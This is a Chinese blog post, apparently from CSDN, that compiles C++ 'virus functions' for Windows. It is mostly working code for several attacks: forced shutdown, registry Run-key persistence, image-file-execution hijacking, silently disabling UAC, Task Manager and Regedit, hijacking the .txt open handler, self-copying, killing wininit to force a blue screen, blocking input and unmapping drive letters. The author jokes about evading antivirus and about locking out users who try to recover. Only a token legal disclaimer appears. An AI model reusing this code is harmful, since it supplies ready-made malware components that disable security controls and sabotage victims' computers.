C++基础病毒性函数汇总

总结了几个 比较常见的、比较基础的病毒函数。高端的肯定是不会列在这里的。
温馨而又冰冷的提示: 严禁用于非法用途哦!!!!
前方高能,请做好心理准备。

<必备头文件:Windows.h>

1.电源类

这几个也没啥技术含量,但反复调用的杀伤力还是挺强的(开机瞬关)。

(1)注销
VOID Logoff(VOID)
{
   WinExec("logoff.exe",SW_HIDE);
   //或shutdown -l -t 0
}
(2)关机
VOID ShutdownNow(VOID)
{
    WinExec("shutdown -p",SW_HIDE);
    //-p是瞬间 关机 的意思,不是瞬间的意思
}
(2)重启
VOID Reboot(VOID)
{
    WinExec("shutdown -r -t 0",SW_HIDE);
}

如果真的要自己用函数写的话要用到ExitWindowsEx()。

(3)睡眠或休眠

这个没啥用,但还是写在这里。

VOID SystemSleep(WINBOOL bSuspend=TRUE,WINBOOL bForce=FALSE)
{                   //首参数TRUE睡眠,FALSE休眠 
//调来权限
 HANDLE token = NULL;
 TOKEN_PRIVILEGES tp = { 0 };
 tp.PrivilegeCount = 1;
 LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tp.Privileges[0].Luid);
 tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
 OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&token);
 AdjustTokenPrivileges(token,FALSE,&tp,sizeof(tp),NULL,NULL);
 CloseHandle(token);
 SetSystemPowerState(bSuspend,bForce); // 首参数TRUE睡眠,FALSE休眠
}

2.注册表类

这一类非常非常重要,掌握着军事大权,而且非常危险。。都是系统核心内容,比较费心。
注意:必须管理员权限!!
怎么获取它?可以见 这里

(1)开机自启

这个方法很多,详见 这里
举一种简单的(不简单的自己研究):

WINBOOL SettleBoot(LPCSTR keyname, //键值名,随便你
                   LPCSTR fullName=_pgmptr, //默认值就是自己
                   LPCSTR param=NULL)
{
 HKEY hKey; 
 char str[280];
 //找到系统的启动项 
 LPCSTR lpRun = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; 
 //打开启动项
 long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpRun, 0, KEY_WRITE, &hKey); 
 if(lRet == ERROR_SUCCESS) 
 { 
    if(param != NULL) //如果要用参数 
    {
      sprintf(str,"\"%s\" %s",fullname,param);
    }
       //添加一个子键,并设置值
        lRet = RegSetValueEx(hKey, keyname, 0, REG_SZ, (BYTE *)(param == NULL ? fullName : str), strlen(param == NULL ? fullName : str));
        //关之 
        RegCloseKey(hKey); 
        if(lRet != ERROR_SUCCESS) 
        { 
         return false;
        } 
          return true;
 }else{
  return false;
 }
}

呃. . .
能不能逃过 杀软的法眼 看运气,
但本文大部分函数下场都很惨。

没杀软才叫尽兴!!

(2)镜像劫持

这个有点恐怖了,毕竟还是很神奇的一个技术,
「移花接木」之大法。
还是听不懂的看 百科

不过有一些程序是绑不动的(亲试),例如mmc,iexplore.
上代码:

//我还是别用IFEO这个名称好,因为这简直是黑白颠倒:IFEO并不是镜像劫持的意思。
VOID ImageHijack(LPCSTR exe,LPCSTR real_exe)
{  //镜像劫持技术,第二个参数添实际运行对象
 //HKEY hkey;
 char str[280];
 sprintf(str,
 "REG ADD \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%s\"  /v Debugger /t REG_SZ /d \"%s\" /f",exe,real_exe);
WinExec(str,SW_HIDE);
 return;
}

哦哈哈,把cmd绑了之后任何.bat都挂了。。。

我估计wscript和cscript不让绑,具体我也懒得试。

(3)关闭UAC

这个可能比较有用,在申请管理员权限的时候不再跳出框框,不再让用户抉择。

不过唯一的BUG,
就是右下角会弹出“重启计算机才能关闭用户账户控制”的消息,

为此我隐藏了任务栏,不过还是能凭空跳出来(尬)。。

只有重启才能生效哦!!

函数代码:

void CloseUAC(VOID)
{//须管理员权限 
 WinExec("reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"ConsentPromptBehaviorAdmin\" /t REG_DWORD /d 0 /F",SW_HIDE);
 WinExec("reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"EnableLUA\" /t REG_DWORD /d 0 /F",SW_HIDE);
 WinExec("reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"PromptOnSecureDesktop\" /t REG_DWORD /d 0 /F",SW_HIDE);
}//关机后应用 

三管齐下,相得益彰。一重启就可以为所欲为了!!!

(4)禁用任务管理器

很多用户弄不掉进程就开它,拿下面只一招把它毙了!
:D

VOID RegDisableTaskmgr(DWORD dwDisable=TRUE)
{
 HKEY hkey;
 DWORD v = dwDisable;
 RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
 RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));
 RegCloseKey(hkey);
}

好!接着干!↓

(5)禁用注册表编辑器

使用注册表编辑器可以很方便地修改键值,把它封了还能逞吗?

VOID RegDisableRegedit(DWORD dwDisable=TRUE)
{
 HKEY hkey;
 DWORD v = dwDisable;
 RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
 RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));
 RegCloseKey(hkey);
}

Mur
OK,于是用户开始网上求助。。发现有什么.inf安装恢复,还有啥.reg写上去恢复的,更有甚者打开gpedit.msc进行恢复的。。

像我的话我就会 “每隔4秒taskkill一次notepad,一次wordpad,每隔10秒删掉全盘所有.reg||.inf||.js||.vbs,加上随时检测标题为 '本地组策略编辑器’的窗口 如果有就蓝屏抗议” 的方法, 可能有点过分,这些方法任大家自由发挥。

(6)txt文件自启

这个也是必备的,不过我这里老是无效果,单独拿出来就好了。真是奇怪。

VOID TextFileBoot(LPCSTR Wholepath=_pgmptr,LPCSTR param=NULL)
{                        //默认值:notepad.exe %1 
 DWORD len;
 HKEY hkey;
 LPSTR str;
 if(param != NULL)
 {
  sprintf(str,"\"%s\" %s",Wholepath,param);
 }
 len = strlen(param == NULL ? Wholepath : str);
 LPCSTR data_set = "txtfile\\shell\\open\\command";
 RegOpenKeyEx(HKEY_CLASSES_ROOT, data_set, 0, KEY_WRITE, &hkey);
 RegSetValueEx(hkey, NULL, NULL, REG_EXPAND_SZ, (unsigned char *)(param == NULL ? Wholepath : str), len);
 RegCloseKey(hkey);
}

一定要先打开notepad打幌子哦!!!

可以举一反三,把exe,vbs等全和自己连起来,达到条条大路跑病毒的效果。

3.其它技能

(1)自我复制

这个应该很常见,与(2)相搭配简直媲美!

提示:若要迁到C盘须管理员权限哦!

VOID CopyMyselfTo(LPCSTR lpTargetPath) {
 char tcBuf[MAX_PATH];
 GetModuleFileName(NULL,tcBuf,sizeof(tcBuf));
 CopyFile(tcBuf,lpTargetPath,FALSE);
}//这个函数哪里摘的我忘了,但我心存感激。
(2)自我删除

懒得写了,可以看看 别人的

。。凡是自我删除的都是有一些不稳定。。像我这个带多个参数的病毒就只能拜托副本了。

(3)互守(防杀)

这个东西反而让我的程序变得一塌糊涂。。不过还行。
可以试一下。。
链接

(4)蓝屏

通过暴力杀掉系统关机进程达到效果。

注意:须管理员权限!!

几个关键进程:lsass ,smss,csrss,winlogon(高版本不行),wininit,system 等等等。
不过能否杀了都蓝屏就不一定了。

这里用wininit做实验对象:

VOID BlueScreen(VOID)
{
 system("taskkill /im wininit.exe /f"); 
}

WinXP一定蓝屏的,win7可能可以。win10一定不行。
高版本的蓝屏有是有,但有点危险;你可以自己去别的地方找找看。

(5)黑屏(假的)

实则是关闭显示器,但和直接按显示屏的电源的区别是 可以晃鼠标唤醒!跟睡眠有点相似。
没啥用,不过可以吓吓人。

VOID BlackScreen(VOID)
{ //暂时黑屏 
 PostMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 2);
}
(6)锁定鼠标

冻结鼠标的效果不言而喻:

VOID FreezeMouse(bool setPos=false, POINT pos={0,0})
{ //冻结鼠标!! 
 RECT rect;
 if(setPos)
 {
  rect.left = pos.x;
  rect.right = pos.x;
  rect.top = pos.y;
  rect.bottom = pos.y;
  ClipCursor(&rect);
 }else{
  POINT pt;
  GetCursorPos(&pt);
  rect.left = pt.x;
  rect.right = pt.x;
  rect.top = pt.y;
  rect.bottom = pt.y;
  ClipCursor(&rect);
 }
}

这个函数参数
不填或填false可以就地冻结;
填true和一个坐标可以冻在某个点上。(作)

附加解冻:

VOID UnfreezeMouse(VOID)
{
 ClipCursor(NULL);
}

该函数有个bug就是换个窗口就失效了。
这样的话可以换用持续设置鼠标坐标来达到冻结的效果。

(7)屏蔽输入

这个杀伤力还是很强的,如果要试的话别忘了几秒后再取消屏蔽。否则只能按机箱上的按钮重启了
需头文件 winable.h。
注意:GCC编译器是必须要包含Winable.h的,但较高版本的VC好像把winable.h移除了,把BlockInput()放到winuser.h里定义了。VC(例如使用Visual Studio)使用windows.h就行了

VOID FreezeInput(VOID)
{
     BlockInput(TRUE);
}

VOID UnfreezeInput(VOID)
{
     BlockInput(FALSE);
}

可以试试。

(8)窗口毁容

我不知这是我这里天生的BUG还是怎么样,去除标题栏竟然有这般效果:
程序不崩,窗口弄成一个虚无的图形挂在桌面上,极易被刷新掉。
毁容的窗口函数:

VOID DisfigureWindow(HWND hwnd)
{  //使窗口毁容!!!! 
 LONG avatar=GetWindowLong(hwnd,0);
 avatar = avatar & ~WS_CAPTION;
 SetWindowLong(hwnd,GWL_STYLE,avatar);
}
(9)移动窗口

这个看起来没啥杀伤力,但配合GetForegroundWindow()起来不要太牛。

LONG GetWindowWidth(HWND hwnd=GetConsoleWindow()){
 RECT rect=GetWindowRect(hwnd);
 return (rect.right - rect.left);
}
LONG GetWindowHeight(HWND hwnd=GetConsoleWindow()){
 RECT rect=GetWindowRect(hwnd);
 return (rect.bottom - rect.top);
}
//简洁版,自动获取大小的重载
WINBOOL MoveWindow(HWND hwnd=GetConsoleWindow(),
                   int X=0,int Y=0,bool bRepaint=true){
 LONG w,h;
 w=GetWindowWidth(hwnd);
 h=GetWindowHeight(hwnd);
 MoveWindow(hwnd,X,Y,w,h,bRepaint);
}
(10)消息的显示

病毒一般会显示几个恶心的消息,可以用下面几种方法:

①对话框

这个不讲了,太简单了,一般都是调用其他(例如自己的副本)来产生对话框,否则会阻塞的。
看这里吧

②托盘消息

封装一下就很好用了:
安装

//***WARNING***:NO MFC MACROS!!!!!
   #define IDR_MAINFRAME NULL
   #define WM_PROC WM_SHOWWINDOW
 //备注:我不是MFC,没有这俩,自己弄出来的,也没啥影响。。苟且偷生吧。
NOTIFYICONDATA SetupTray(HWND hwnd,LPCSTR label="Program")
{
    NOTIFYICONDATA m_nid;
    m_nid.cbSize=sizeof(NOTIFYICONDATA);// 结构大小
    m_nid.hWnd=hwnd;  // 接收 托盘通知消息 的窗口句柄
    m_nid.uID=IDR_MAINFRAME;                            
    m_nid.uFlags=NIF_MESSAGE;//表示uCallbackMessage 有效 
    m_nid.uCallbackMessage=WM_PROC; // 消息被发送到此窗口过程
    m_nid.hIcon=::LoadIcon(::GetModuleHandle(NULL),MAKEINTRESOURCE(IDR_MAINFRAME)); 
    strcpy(m_nid.szTip,label);              // 提示文本
    WINBOOL res = Shell_NotifyIcon(NIM_ADD,&m_nid); 
    return m_nid;
}

返回值要接住哦!↕

消息直达

WINBOOL TrayTip(NOTIFYICONDATA m_nid,
                LPCTSTR szMsg,
                LPCTSTR szTitle="TrayTip",
                DWORD dwInfoFlags=NIIF_INFO,
                UINT uTimeout=1000)
{ //Win7: Ballon style   Win10:  Metro style
    m_nid.cbSize=sizeof(NOTIFYICONDATA);
    m_nid.uFlags = NIF_INFO;
    m_nid.uVersion = NOTIFYICON_VERSION;
    m_nid.uTimeout = uTimeout;
    m_nid.dwInfoFlags = dwInfoFlags;
    strcpy(m_nid.szInfo,szMsg ? szMsg : _T(""));
    strcpy(m_nid.szInfoTitle,szTitle ? szTitle : _T(""));
    return Shell_NotifyIcon(NIM_MODIFY, &m_nid);
}

把接住的东西放到首参数里,第二个是消息,第三个是标题,第四个是样式(自己Ctrl+Click看看),第五个是时长(单位ms)

卸载

WINBOOL UnloadTray(NOTIFYICONDATA m_nid)
{
 return Shell_NotifyIcon(NIM_DELETE,&m_nid);
}

再传这儿一下就好了。

(11)隐藏任务栏

一个ShowWindow就好了。

VOID HideTaskbar(VOID)
{
 ShowWindow(FindWindow("Shell_TrayWnd", NULL),SW_HIDE);
}
(12)篡改盘符

警告:慎用。要试也是在虚拟机里试。

BOOL DeleteDrive(LPCSTR SThide)
//篡改盘符       //填 C:  D:之类 
{
  if (!DefineDosDevice(DDD_RAW_TARGET_PATH, SThide, "")) //把已有的盘符定义为空,导致无法访问磁盘
      return false;
  return true;
}

假如填C:
运行后刷新一下,发现整个桌面只剩Recycle Bin了,整个系统都瘫痪了

(13)按键

这个也说得过去,看上去不咋的,但你用用下面这个语句,会发现发生了奇怪的事情,除非按一下Ctrl.

keybd_event(VK_LCONTROL,0,0,0); //只按不放

按键详见 这里

参考文献

C语言编写简易病毒 https://blog.csdn.net/hbhgyu/article/details/77775926

Post Exploitation Using WMIC (System Command)https://www.hackingarticles.in/post-exploitation-using-wmic-system-command/)

windows程序托盘图标以及消息提示–示例程序https://blog.csdn.net/wangshubo1989/article/details/49533051

使用C语言让Windows睡眠/休眠
https://www.kechuang.org/t/82297

等。

评论 21
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值